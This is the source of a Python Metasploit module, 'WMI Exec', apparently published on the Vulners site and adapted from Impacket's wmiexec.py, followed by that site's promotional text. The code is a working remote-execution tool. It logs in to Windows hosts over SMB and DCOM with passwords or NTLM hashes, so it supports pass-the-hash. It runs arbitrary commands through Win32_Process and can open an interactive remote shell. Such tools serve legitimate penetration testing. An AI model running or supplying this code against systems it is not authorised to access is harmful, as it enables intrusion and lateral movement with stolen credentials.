#!/usr/bin/env python3
# Copyright (c) 2003-2018 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
import logging
import os
import string
import sys
try:
from impacket.smbconnection import SessionError, SMBConnection, \
SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.dcerpc.v5.dcomrt import DCOMConnection, DCERPCSessionError
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
except ImportError:
dependencies_missing = True
else:
dependencies_missing = False
import _msf_impacket
import metasploit.module as module
metadata = {
'name': 'WMI Exec',
'description': '''
A similar approach to psexec but executing commands through WMI.
''',
'authors': ['beto', 'Spencer McIntyre'],
'date': '2018-03-19',
'license': 'CORE_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py'}
],
'type': 'single_scanner',
'options': {
'COMMAND': {'type': 'string', 'description': 'The command to execute', 'required': True},
'OUTPUT': {'type': 'bool', 'description': 'Get the output of the executed command', 'required': True, 'default': True},
'SMBDomain': {'type': 'string', 'description': 'The Windows domain to use for authentication', 'required': False, 'default': '.'},
'SMBPass': {'type': 'string', 'description': 'The password for the specified username', 'required': False, 'default': None},
'SMBUser': {'type': 'string', 'description': 'The username to authenticate as', 'required': True, 'default': None},
'HASHES': {'type': 'string', 'description': 'The NTLM hash to use for authentication, format: LMHASH:NTHASH', 'required': False, 'default': None}
},
'notes': {
'AKA': ['wmiexec.py']
}
}
class WMIEXEC:
def __init__(self, command='', username='', password=None, domain='', hashes=None, share=None,
noOutput=False):
self.__command = command
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = None
self.__share = share
self.__noOutput = noOutput
self.__doKerberos = False
self.__kdcHost = None
self.shell = None
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def run(self, addr):
if not self.__password and not (self.__lmhash or self.__nthash):
logging.error("Either SMBPass or HASHES must be set, aborting...")
return
if self.__noOutput is False:
try:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
except SessionError as exc:
logging.error(str(exc))
else:
smbConnection = None
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process, _ = iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShell(self.__share, win32Process, smbConnection)
if self.__command != ' ':
self.shell.onecmd(self.__command)
else:
self.shell.cmdloop()
except (DCERPCSessionError, Exception, KeyboardInterrupt) as exc:
logging.error(str(exc))
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
class RemoteShell(_msf_impacket.RemoteShell):
def __init__(self, share, win32Process, smbConnection):
self.__win32Process = win32Process
self._pwd = 'C:\\'
self._shell = 'cmd.exe /Q /c '
super(RemoteShell, self).__init__(share, smbConnection)
def execute_remote(self, data):
command = self._shell + data
if self._noOutput is False:
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output + ' 2>&1'
self.__win32Process.Create(command, self._pwd, None)
self.get_output()
def run(args):
if dependencies_missing:
module.log('Module dependencies (impacket) missing, cannot continue', level='error')
return
_msf_impacket.pre_run_hook(args)
executer = WMIEXEC(args['COMMAND'], args['SMBUser'], args['SMBPass'], args['SMBDomain'],
hashes=args['HASHES'], share='ADMIN$', noOutput=args['OUTPUT'] != 'true')
executer.run(args['rhost'])
if __name__ == "__main__":
module.run(metadata, run)
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation